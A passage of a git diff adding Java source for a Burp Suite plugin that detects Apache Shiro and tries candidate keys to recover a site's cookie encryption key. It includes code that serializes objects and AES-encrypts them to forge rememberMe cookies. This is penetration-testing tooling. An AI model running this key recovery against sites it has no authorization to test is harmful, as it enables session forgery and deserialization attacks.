byteArrayOutputStream.toByteArray(); + } + + @Override + public String encrypt(String key, byte[] payload) { + try { + byte[] raw = Base64.decode(key); + byte[] ivs = generateInitializationVector(); + SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); + Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); + GCMParameterSpec iv = new GCMParameterSpec(128, ivs); + cipher.init(1, skeySpec, iv); + byte[] encrypted = cipher.doFinal(pad(payload)); + return new String(Base64.encode(byteMerger(ivs, encrypted))); + } catch (Exception exception) { + return "0"; + } + } + + private static SecureRandom secureRandom; + + private static int initializationVectorSize = 128; + + private static byte[] pad(byte[] s) { + s = byteMerger(s, charToByte((char) (16 - s.length % 16))); + return s; + } + + private static byte[] charToByte(char c) { + byte[] b = new byte[2]; + b[0] = (byte) ((c & 0xFF00) >> 8); + b[1] = (byte) (c & 0xFF); + return b; + } + + private static byte[] byteMerger(byte[] bt1, byte[] bt2) { + byte[] bt3 = new byte[bt1.length + bt2.length]; + System.arraycopy(bt1, 0, bt3, 0, bt1.length); + System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length); + return bt3; + } + + private static byte[] generateInitializationVector() { + int size = getInitializationVectorSize(); + int sizeInBytes = size / 8; + byte[] ivBytes = new byte[sizeInBytes]; + SecureRandom random = ensureSecureRandom(); + random.nextBytes(ivBytes); + return ivBytes; + } + + private static SecureRandom ensureSecureRandom() { + SecureRandom random = getSecureRandom(); + if (random == null) + random = getDefaultSecureRandom(); + return random; + } + + private static SecureRandom getSecureRandom() { + return secureRandom; + } + + private static SecureRandom getDefaultSecureRandom() { + try { + return SecureRandom.getInstance("SHA1PRNG"); + } catch (NoSuchAlgorithmException e) { + return new SecureRandom(); + } + } + + private static int getInitializationVectorSize() { + return initializationVectorSize; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/GlobalPassiveScanVariableReader.java b/src/main/java/burp/Bootstrap/GlobalPassiveScanVariableReader.java new file mode 100644 index 0000000..9848c0a --- /dev/null +++ b/src/main/java/burp/Bootstrap/GlobalPassiveScanVariableReader.java @@ -0,0 +1,67 @@ +package burp.Bootstrap; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import burp.Application.ShiroCipherKeyExtension.ExtensionInterface.IShiroCipherKeyExtension; + +/** + * 专门拿来做被动扫描器变量共享的类 + */ +public class GlobalPassiveScanVariableReader { + private ConcurrentHashMap booleanMap; + private ConcurrentHashMap shiroCipherKeyExtensioMap; + + public GlobalPassiveScanVariableReader() { + this.booleanMap = new ConcurrentHashMap(); + this.shiroCipherKeyExtensioMap = new ConcurrentHashMap(); + } + + public Map getBooleanMap() { + return this.booleanMap; + } + + public Boolean getBooleanData(String key) { + return this.getBooleanMap().get(key); + } + + public void putBooleanData(String key, Boolean b) { + if (key == null || key.length() <= 0) { + throw new IllegalArgumentException("key不能为空"); + } + + synchronized (this.getBooleanMap()) { + this.getBooleanMap().put(key, b); + } + } + + public void delBooleanData(String key) { + if (this.getBooleanMap().get(key) != null) { + this.getBooleanMap().remove(key); + } + } + + public Map getShiroCipherKeyExtensioMap() { + return this.shiroCipherKeyExtensioMap; + } + + public IShiroCipherKeyExtension getShiroCipherKeyExtensionData(String key) { + return this.getShiroCipherKeyExtensioMap().get(key); + } + + public void putShiroCipherKeyExtensionData(String key, IShiroCipherKeyExtension b) { + if (key == null || key.length() <= 0) { + throw new IllegalArgumentException("key不能为空"); + } + + synchronized (this.getShiroCipherKeyExtensioMap()) { + this.getShiroCipherKeyExtensioMap().put(key, b); + } + } + + public void delShiroCipherKeyExtensionData(String key) { + if (this.getShiroCipherKeyExtensioMap().get(key) != null) { + this.getShiroCipherKeyExtensioMap().remove(key); + } + } +} diff --git a/src/main/java/burp/Bootstrap/GlobalVariableReader.java b/src/main/java/burp/Bootstrap/GlobalVariableReader.java new file mode 100644 index 0000000..f6a8cfe --- /dev/null +++ b/src/main/java/burp/Bootstrap/GlobalVariableReader.java @@ -0,0 +1,39 @@ +package burp.Bootstrap; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +/** + * 专门拿来做插件的全局变量共享的类 + */ +public class GlobalVariableReader { + private ConcurrentHashMap booleanMap; + + public GlobalVariableReader() { + this.booleanMap = new ConcurrentHashMap(); + } + + public Map getBooleanMap() { + return this.booleanMap; + } + + public Boolean getBooleanData(String key) { + return this.getBooleanMap().get(key); + } + + public void putBooleanData(String key, Boolean b) { + if (key == null || key.length() <= 0) { + throw new IllegalArgumentException("key不能为空"); + } + + synchronized (this.getBooleanMap()) { + this.getBooleanMap().put(key, b); + } + } + + public void delBooleanData(String key) { + if (this.getBooleanMap().get(key) != null) { + this.getBooleanMap().remove(key); + } + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/YamlReader.java b/src/main/java/burp/Bootstrap/YamlReader.java new file mode 100644 index 0000000..b4ca01c --- /dev/null +++ b/src/main/java/burp/Bootstrap/YamlReader.java @@ -0,0 +1,99 @@ +package burp.Bootstrap; + +import java.util.Map; +import java.util.List; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.PrintWriter; + +import org.yaml.snakeyaml.Yaml; + +import burp.IBurpExtenderCallbacks; + +public class YamlReader { + private static YamlReader instance; + + private static Map> properties = new HashMap<>(); + + private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException { + CustomBurpHelpers customBurpHelpers = new CustomBurpHelpers(callbacks); + String c = customBurpHelpers.getExtensionFilePath() + "resources/config.yml"; + File f = new File(c); + properties = new Yaml().load(new FileInputStream(f)); + } + + public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) { + if (instance == null) { + try { + instance = new YamlReader(callbacks); + } catch (FileNotFoundException e) { + e.printStackTrace(new PrintWriter(callbacks.getStderr(), true)); + } + } + return instance; + } + + /** + * 获取yaml属性 + * 可通过 "." 循环调用 + * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d") + * + * @param key + * @return + */ + public Object getValueByKey(String key) { + String separator = "."; + String[] separatorKeys = null; + if (key.contains(separator)) { + separatorKeys = key.split("\\."); + } else { + return properties.get(key); + } + Map> finalValue = new HashMap<>(); + for (int i = 0; i < separatorKeys.length - 1; i++) { + if (i == 0) { + finalValue = (Map) properties.get(separatorKeys[i]); + continue; + } + if (finalValue == null) { + break; + } + finalValue = (Map) finalValue.get(separatorKeys[i]); + } + return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]); + } + + public String getString(String key) { + return String.valueOf(this.getValueByKey(key)); + } + + public String getString(String key, String defaultValue) { + if (null == this.getValueByKey(key)) { + return defaultValue; + } + return String.valueOf(this.getValueByKey(key)); + } + + public Boolean getBoolean(String key) { + return (boolean) this.getValueByKey(key); + } + + public Integer getInteger(String key) { + return (Integer) this.getValueByKey(key); + } + + public double getDouble(String key) { + return (double) this.getValueByKey(key); + } + + public List getStringList(String key) { + return (List) this.getValueByKey(key); + } + + public LinkedHashMap getLinkedHashMap(String key) { + return (LinkedHashMap) this.getValueByKey(key); + } +} \ No newline at end of file diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java new file mode 100644 index 0000000..7454442 --- /dev/null +++ b/src/main/java/burp/BurpExtender.java @@ -0,0 +1,509 @@ +package burp; + +import java.net.URL; +import java.util.List; +import java.util.Arrays; +import java.util.ArrayList; +import java.io.PrintWriter; + +import burp.Ui.Tags; + +import burp.Bootstrap.YamlReader; +import burp.Bootstrap.CustomBurpUrl; +import burp.Bootstrap.GlobalVariableReader; +import burp.Bootstrap.GlobalPassiveScanVariableReader; + +import burp.Application.ShiroFingerprintExtension.ShiroFingerprint; + +import burp.Application.ShiroCipherKeyExtension.ShiroCipherKeyThread; +import burp.Application.ShiroCipherKeyExtension.ExtensionInterface.IShiroCipherKeyExtension; + +public class BurpExtender implements IBurpExtender, IScannerCheck, IExtensionStateListener { + public static String NAME = "ShiroScan2"; + public static String VERSION = "2.0.0"; + + private GlobalVariableReader globalVariableReader; + + public static IBurpExtenderCallbacks callbacks; + public static IExtensionHelpers helpers; + + private PrintWriter stdout; + private PrintWriter stderr; + + private Tags tags; + + private YamlReader yamlReader; + + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + + this.stdout = new PrintWriter(callbacks.getStdout(), true); + this.stderr = new PrintWriter(callbacks.getStderr(), true); + + // 全局变量的数据保存地址 + // 用于在程序执行的过程中能够实时的修改变量数据使用 + this.globalVariableReader = new GlobalVariableReader(); + + // 是否卸载扩展 + // 用于卸载插件以后,把程序快速退出去,避免卡顿 + // true = 已被卸载, false = 未卸载 + this.globalVariableReader.putBooleanData("isExtensionUnload", false); + + // 标签界面 + this.tags = new Tags(callbacks, NAME); + + // 配置文件 + this.yamlReader = YamlReader.getInstance(callbacks); + + callbacks.setExtensionName(NAME); + callbacks.registerScannerCheck(this); + callbacks.registerContextMenuFactory(new Menu()); + callbacks.registerExtensionStateListener(this); + + // 基本信息输出 + // 作者拿来臭美用的 ╰(*°▽°*)╯ + this.stdout.println(basicInformationOutput()); + } + + /** + * 基本信息输出 + */ + private static String basicInformationOutput() { + String str1 = "===================================\n"; + String str2 = String.format("%s Load the success\n", NAME); + String str3 = String.format("VERSION: %s\n", VERSION); + String str4 = "author: pmiaowu\n"; + String str5 = "QQ: 3303003493\n"; + String str6 = "WeChat: a3303003493\n"; + String str7 = "GitHub: https://github.com/pmiaowu\n"; + String str8 = "Blog: https://www.yuque.com/pmiaowu\n"; + String str9 = String.format("downloadLink: %s\n", "https://github.com/pmiaowu/BurpShiroPassiveScan"); + String str10 = "===================================\n"; + String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8 + str9 + str10; + return detail; + } + + @Override + public List doPassiveScan(IHttpRequestResponse baseRequestResponse) { + // 被动扫描器变量共享的数据保存地址 + // 用于在程序执行的过程中能够实时的修改变量数据使用 + GlobalPassiveScanVariableReader globalPassiveScanVariableReader = new GlobalPassiveScanVariableReader(); + + List issues = new ArrayList<>(); + + List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist"); + List domainNameWhitelist = this.yamlReader.getStringList("scan.domainName.whitelist"); + + // 基础url解析 + CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse); + + // 消息等级-用于插件扫描队列界面的显示 + String messageLevel = this.yamlReader.getString("messageLevel"); + + // 判断是否开启插件 + if (!this.tags.getBaseSettingTagClass().isStart()) { + return null; + } + + // 判断域名黑名单 + if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) { + if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) { + return null; + } + } + + // 判断域名白名单 + if (domainNameWhitelist != null && domainNameWhitelist.size() >= 1) { + if (!isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameWhitelist)) { + return null; + } + } + + // 判断当前请求后缀,是否为url黑名单后缀 + if (this.isUrlBlackListSuffix(baseBurpUrl)) { + return null; + } + + // 判断当前站点是否超出扫描数量了 + Integer siteScanNumber = this.yamlReader.getInteger("scan.siteScanNumber"); + if (siteScanNumber != 0) { + Integer siteNumber = this.getSiteNumber(baseBurpUrl.getRequestDomainName()); + if (siteNumber >= siteScanNumber) { + if (messageLevel.equals("ALL")) { + this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "the number of website scans exceeded", + baseRequestResponse + ); + } + return null; + } + } + + // 判断当前站点的shiro指纹问题数量是否超出了 + Integer shiroFingerprintScanIssueNumber = this.yamlReader.getInteger("application.shiroFingerprintExtension.config.issueNumber"); + if (shiroFingerprintScanIssueNumber != 0) { + String shiroFingerprintIssueName = this.yamlReader.getString("application.shiroFingerprintExtension.config.issueName"); + Integer shiroFingerprintIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName(), shiroFingerprintIssueName); + if (shiroFingerprintIssueNumber >= shiroFingerprintScanIssueNumber) { + if (messageLevel.equals("ALL")) { + this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "shiro fingerprint problems have exceeded the number", + baseRequestResponse + ); + } + return null; + } + } + + // 判断当前站点的shiro加密key问题数量是否超出了 + Integer shiroCipherKeyScanIssueNumber = this.yamlReader.getInteger("application.shiroCipherKeyExtension.config.issueNumber"); + if (shiroCipherKeyScanIssueNumber != 0) { + String shiroCipherKeyIssueName = this.yamlReader.getString("application.shiroCipherKeyExtension.config.issueName"); + Integer shiroCipherKeyIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName(), shiroCipherKeyIssueName); + if (shiroCipherKeyIssueNumber >= shiroCipherKeyScanIssueNumber) { + if (messageLevel.equals("ALL")) { + this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "shiro encryption key leakage problems have exceeded the number", + baseRequestResponse + ); + } + return null; + } + } + + // shiro指纹探测扩展 + ShiroFingerprint shiroFingerprint = new ShiroFingerprint(this.callbacks, this.yamlReader, baseRequestResponse); + + // 判断指纹模块是否正常 + if (!shiroFingerprint.run().isRunExtension()) { + this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "shiro fingerprint module startup error", + baseRequestResponse + ); + return null; + } + + // 检测是否shiro框架 + if (!shiroFingerprint.run().isShiroFingerprint()) { + if (messageLevel.equals("ALL")) { + this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "the site is not a shiro framework", + baseRequestResponse + ); + } + return null; + } + + // shiro指纹检测-控制台报告输出 + shiroFingerprint.run().consoleExport(); + + // shiro指纹检测-报告输出 + issues.add(shiroFingerprint.run().export()); + + // 添加任务到面板中等待检测 + int tagId = this.tags.getScanQueueTagClass().add( + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "waiting for test results", + baseRequestResponse + ); + + try { + // shiro加密key扩展 + Boolean isStartShiroCipherKeyExtension = this.yamlReader.getBoolean("application.shiroCipherKeyExtension.config.isStart"); + Boolean isScanCbcEncrypt = this.yamlReader.getBoolean("application.shiroCipherKeyExtension.config.isScanCbcEncrypt"); + Boolean isScanGcmEncrypt = this.yamlReader.getBoolean("application.shiroCipherKeyExtension.config.isScanGcmEncrypt"); + if (isStartShiroCipherKeyExtension && (isScanCbcEncrypt || isScanGcmEncrypt)) { + // 启动线程跑shiro加密key扩展任务 + String callClassName = this.yamlReader.getString("application.shiroCipherKeyExtension.config.provider"); + ShiroCipherKeyThread shiroCipherKeyThread = new ShiroCipherKeyThread( + this.globalVariableReader, + globalPassiveScanVariableReader, + this.callbacks, + this.yamlReader, + baseRequestResponse, + shiroFingerprint, + callClassName); + + // 监控线程 + while (true) { + if (shiroCipherKeyThread.isTaskComplete()) { + break; + } + + // 单纯的等待~ + Thread.sleep(500); + } + + // 尝试获取shiro加密key扩展的数据 + // 注意: 只有成功爆破出shiro加密key了才会有数据 + IShiroCipherKeyExtension shiroCipherKey = globalPassiveScanVariableReader.getShiroCipherKeyExtensionData("shiroCipherKey"); + + // 为空的时候,表示没有成功爆破出shiro加密key + if (shiroCipherKey == null) { + // 未检查出来key-更新任务状态至任务栏面板 + this.tags.getScanQueueTagClass().save( + tagId, + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "[-] not found shiro key", + baseRequestResponse); + return issues; + } + + // 检查出来key-更新任务状态至任务栏面板 + IHttpRequestResponse shiroCipherKeyRequestResponse = shiroCipherKey.getHttpRequestResponse(); + this.tags.getScanQueueTagClass().save( + tagId, + shiroCipherKey.getExtensionName(), + shiroCipherKey.getEncryptMethod(), + this.helpers.analyzeRequest(shiroCipherKeyRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(shiroCipherKeyRequestResponse.getResponse()).getStatusCode() + "", + "[+] found shiro key:" + shiroCipherKey.getCipherKey(), + shiroCipherKeyRequestResponse); + + // shiro加密key-控制台报告输出 + shiroCipherKey.consoleExport(); + + // shiro加密key-报告输出 + issues.add(shiroCipherKey.export()); + } else { + this.tags.getScanQueueTagClass().save( + tagId, + "", + "", + this.helpers.analyzeRequest(shiroFingerprint.run().getHttpRequestResponse()).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(shiroFingerprint.run().getHttpRequestResponse().getResponse()).getStatusCode() + "", + "[*] shiro fingerprint", + shiroFingerprint.run().getHttpRequestResponse()); + } + + URL httpRequestUrl = baseBurpUrl.getHttpRequestUrl(); + this.stdout.println("============shiro-key扫描完毕================"); + this.stdout.println(String.format("url: %s", httpRequestUrl)); + this.stdout.println("========================================"); + } catch (Exception e) { + // 判断是否有shiro指纹,输出到问题面板过 + // 如果有,那么爆致命错误的时候就可以删除issues变量的数据 + // 防止因为因为跑key一直错误,间接导致站点指纹数量满了 + String shiroFingerprintIssueName = this.yamlReader.getString("application.shiroFingerprintExtension.config.issueName"); + Integer shiroFingerprintIssueNumber = this.getSiteIssueNumber(baseBurpUrl.getRequestDomainName(), shiroFingerprintIssueName); + if (shiroFingerprintIssueNumber >= 1 && issues.size() >= 1) { + issues.remove(0); + } + + this.stdout.println("========插件错误-未知错误============"); + this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString())); + this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截"); + this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页"); + this.stdout.println("========================================"); + this.stdout.println(" "); + + this.tags.getScanQueueTagClass().save( + tagId, + "", + "", + this.helpers.analyzeRequest(baseRequestResponse).getMethod(), + baseBurpUrl.getHttpRequestUrl().toString(), + this.helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode() + "", + "[x] unknown error", + baseRequestResponse); + + e.printStackTrace(this.stderr); + } + + return issues; + } + + @Override + public List doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { + return null; + } + + @Override + public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) { + return 0; + } + + @Override + public void extensionUnloaded() { + this.globalVariableReader.putBooleanData("isExtensionUnload", true); + } + + /** + * 判断是否查找的到指定的域名 + * + * @param domainName 需匹配的域名 + * @param domainNameList 待匹配的域名列表 + * @return + */ + private static Boolean isMatchDomainName(String domainName, List domainNameList) { + domainName = domainName.trim(); + + if (domainName.length() <= 0) { + return false; + } + + if (domainNameList == null || domainNameList.size() <= 0) { + return false; + } + + if (domainName.contains(":")) { + domainName = domainName.substring(0, domainName.indexOf(":")); + } + + String reverseDomainName = new StringBuffer(domainName).reverse().toString(); + + for (String domainName2 : domainNameList) { + domainName2 = domainName2.trim(); + + if (domainName2.length() <= 0) { + continue; + } + + if (domainName2.contains(":")) { + domainName2 = domainName2.substring(0, domainName2.indexOf(":")); + } + + String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString(); + + if (domainName.equals(domainName2)) { + return true; + } + + if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) { + List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]"))); + + List splitDomainName2 = new ArrayList(Arrays.asList(reverseDomainName2.split("[.]"))); + + if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) { + continue; + } + + if (splitDomainName.size() < splitDomainName2.size()) { + for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) { + splitDomainName.add("*"); + } + } + + if (splitDomainName.size() > splitDomainName2.size()) { + for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) { + splitDomainName2.add("*"); + } + } + + int ii = 0; + for (int i = 0; i < splitDomainName.size(); i++) { + if (splitDomainName2.get(i).equals("*")) { + ii = ii + 1; + } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) { + ii = ii + 1; + } + } + + if (ii == splitDomainName.size()) { + return true; + } + } + } + return false; + } + + /** + * 判断是否url黑名单后缀 + * 大小写不区分 + * 是 = true, 否 = false + * + * @param burpUrl + * @return + */ + private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) { + if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) { + return false; + } + + String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0]; + String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1); + + List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList"); + if (suffixList == null || suffixList.size() == 0) { + return false; + } + + for (String s : suffixList) { + if (s.toLowerCase().equals(urlSuffix.toLowerCase())) { + return true; + } + } + + return false; + } + + /** + * 网站问题数量 + * + * @param domainName 请求域名名称 + * @param issueName 要查询的问题名称 + * @return + */ + private Integer getSiteIssueNumber(String domainName, String issueName) { + Integer number = 0; + + for (IScanIssue Issue : this.callbacks.getScanIssues(domainName)) { + if (Issue.getIssueName().equals(issueName)) { + number++; + } + } + + return number; + } + + /** + * 站点出现数量 + * + * @param domainName + * @return + */ + private Integer getSiteNumber(String domainName) { + Integer number = 0; + for (IHttpRequestResponse requestResponse : this.callbacks.getSiteMap(domainName)) { + number++; + } + return number; + } +} diff --git a/src/main/java/burp/Config.java b/src/main/java/burp/Config.java new file mode 100644 index 0000000..c323ca0 --- /dev/null +++ b/src/main/java/burp/Config.java @@ -0,0 +1,34 @@ +package burp; + +public class Config { + private static Integer mode = 0; + private static String key = ""; + + public static Integer getMode() { + String val = BurpExtender.callbacks.loadExtensionSetting("mode"); + try { + return Integer.valueOf(val); + }catch (Exception e) { + return Config.mode; + } + } + + public static void setMode(Integer mode) { + BurpExtender.callbacks.saveExtensionSetting("fuzz_number", String.valueOf(mode)); + Config.mode = mode; + } + + public static String getKey() { + String val = BurpExtender.callbacks.loadExtensionSetting("key"); + try { + return String.valueOf(val); + }catch (Exception e) { + return Config.key; + } + } + + public static void setKey(String key) { + BurpExtender.callbacks.saveExtensionSetting("key", String.valueOf(key)); + Config.key = key; + } +} diff --git a/src/main/java/burp/ConfigDlg.java b/src/main/java/burp/ConfigDlg.java new file mode 100644 index 0000000..01bbea2 --- /dev/null +++ b/src/main/java/burp/ConfigDlg.java @@ -0,0 +1,77 @@ +package burp; + +import javax.swing.*; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; + +public class ConfigDlg extends JDialog { + //定义组件 + private final JPanel mainPanel = new JPanel(); + private final JPanel toPanel = new JPanel(); + private final JPanel centerPanel = new JPanel(); + private final JPanel bottomPanel = new JPanel();; + private final JComboBox mode= new JComboBox(new String[]{"AES-CBC", "AES-GCM"}); + private final JTextField key = new JTextField(18); + private final JButton btSave = new JButton("保存"); + + public ConfigDlg() { + initGUI(); + initEvent(); + initValue(); + this.setTitle("设置"); + } + + private void initGUI() { + toPanel.setLayout(new FlowLayout(FlowLayout.LEFT)); + toPanel.add(new JLabel("加密模式:")); + toPanel.add(mode); + + centerPanel.setLayout(new FlowLayout(FlowLayout.LEFT)); + centerPanel.add(new JLabel("key:")); + key.setFont(new Font(null, Font.PLAIN, 13)); + centerPanel.add(key); + + bottomPanel.setLayout(new FlowLayout(FlowLayout.CENTER)); + bottomPanel.add(btSave); + btSave.setToolTipText("Hey Bro!这是保存"); + + mainPanel.setLayout(new BorderLayout()); + mainPanel.add(toPanel,BorderLayout.NORTH); + mainPanel.add(centerPanel,BorderLayout.CENTER); + mainPanel.add(bottomPanel,BorderLayout.SOUTH); + + this.setModal(true); + this.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); + this.add(mainPanel); + //使配置窗口自动适应控件大小,防止部分控件无法显示 + this.pack(); + //居中显示配置窗口 + Dimension screensize=Toolkit.getDefaultToolkit().getScreenSize(); + this.setBounds(screensize.width/2-this.getWidth()/2,screensize.height/2-this.getHeight()/2,this.getWidth(),this.getHeight()); + } + //组件的事件响应 + private void initEvent() { + //保存按钮 + btSave.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + Integer modeSelect = mode.getSelectedIndex(); + String keyValue = key.getText(); + + //mode 0是CBC模式 1是GCM模式 + System.out.println("mode:" + modeSelect); + System.out.println("key:" + keyValue); + + Config.setMode(modeSelect); + Config.setKey(keyValue); + ConfigDlg.this.dispose(); + } + }); + } + //为控件赋值 + public void initValue() { + mode.setSelectedIndex(Config.getMode()); + key.setText(Config.getKey()); + } +} diff --git a/src/main/java/burp/CustomErrorException/DiffPageException.java b/src/main/java/burp/CustomErrorException/DiffPageException.java new file mode 100644 index 0000000..36fa463 --- /dev/null +++ b/src/main/java/burp/CustomErrorException/DiffPageException.java @@ -0,0 +1,19 @@ +package burp.CustomErrorException; + +public class DiffPageException extends RuntimeException { + public DiffPageException() { + super(); + } + + public DiffPageException(String message, Throwable cause) { + super(message, cause); + } + + public DiffPageException(String message) { + super(message); + } + + public DiffPageException(Throwable cause) { + super(cause); + } +} \ No newline at end of file diff --git a/src/main/java/burp/CustomErrorException/TaskTimeoutException.java b/src/main/java/burp/CustomErrorException/TaskTimeoutException.java new file mode 100644 index 0000000..eba5bc0 --- /dev/null +++ b/src/main/java/burp/CustomErrorException/TaskTimeoutException.java @@ -0,0 +1,19 @@ +package burp.CustomErrorException; + +public class TaskTimeoutException extends RuntimeException { + public TaskTimeoutException() { + super(); + } + + public TaskTimeoutException(String message, Throwable cause) { + super(message, cause); + } + + public TaskTimeoutException(String message) { + super(message); + } + + public TaskTimeoutException(Throwable cause) { + super(cause); + } +} \ No newline at end of file diff --git a/src/main/java/burp/CustomScanIssue.java b/src/main/java/burp/CustomScanIssue.java new file mode 100644 index 0000000..336b409 --- /dev/null +++ b/src/main/java/burp/CustomScanIssue.java @@ -0,0 +1,97 @@ +package burp; + +import java.net.URL; + +public class CustomScanIssue implements IScanIssue { + private URL url; + private String issueName; + private int issueType; + private String severity; + private String confidence; + private String issueBackground; + private String remediationBackground; + private String issueDetail; + private String remediationDetail; + private IHttpRequestResponse[] httpMessages; + private IHttpService httpService; + + public CustomScanIssue( + URL url, + String issueName, + int issueType, + String severity, + String confidence, + String issueBackground, + String remediationBackground, + String issueDetail, + String remediationDetail, + IHttpRequestResponse[] httpMessages, + IHttpService httpService) { + this.url = url; + this.issueName = issueName; + this.issueType = issueType; + this.severity = severity; + this.confidence = confidence; + this.issueBackground = issueBackground; + this.remediationBackground = remediationBackground; + this.issueDetail = issueDetail; + this.remediationDetail = remediationDetail; + this.httpMessages = httpMessages; + this.httpService = httpService; + } + + @Override + public URL getUrl() { + return this.url; + } + + @Override + public String getIssueName() { + return this.issueName; + } + + @Override + public int getIssueType() { + return this.issueType; + } + + @Override + public String getSeverity() { + return this.severity; + } + + @Override + public String getConfidence() { + return this.confidence; + } + + @Override + public String getIssueBackground() { + return this.issueBackground; + } + + @Override + public String getRemediationBackground() { + return this.remediationBackground; + } + + @Override + public String getIssueDetail() { + return this.issueDetail; + } + + @Override + public String getRemediationDetail() { + return this.remediationDetail; + } + + @Override + public IHttpRequestResponse[] getHttpMessages() { + return this.httpMessages; + } + + @Override + public IHttpService getHttpService() { + return this.httpService; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Encrypt.java b/src/main/java/burp/Encrypt.java new file mode 100644 index 0000000..fa79ace --- /dev/null +++ b/src/main/java/burp/Encrypt.java @@ -0,0 +1,106 @@ +package burp; + +import org.apache.shiro.codec.Base64; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +import javax.crypto.Cipher; +import javax.crypto.spec.GCMParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; + +public class Encrypt { + + public static byte[] getBytes(Object obj) throws IOException { + ByteArrayOutputStream byteArrayOutputStream = null; + ObjectOutputStream objectOutputStream = null; + byteArrayOutputStream = new ByteArrayOutputStream(); + objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); + objectOutputStream.writeObject(obj); + objectOutputStream.flush(); + return byteArrayOutputStream.toByteArray(); + } + + public String cbc(String key, byte[] objectBytes) { + Base64 B64 = new Base64(); + byte[] keyDecode = B64.decode(key); + AesCipherService cipherService = new AesCipherService(); + ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode); + byte[] value = byteSource.getBytes(); + return new String(B64.encode(value)); + } + + public String gcm(String key, byte[] payload) { + try { + byte[] raw = Base64.decode(key); + byte[] ivs = generateInitializationVector(); + SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); + Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); + GCMParameterSpec iv = new GCMParameterSpec(128, ivs); + cipher.init(1, skeySpec, iv); + byte[] encrypted = 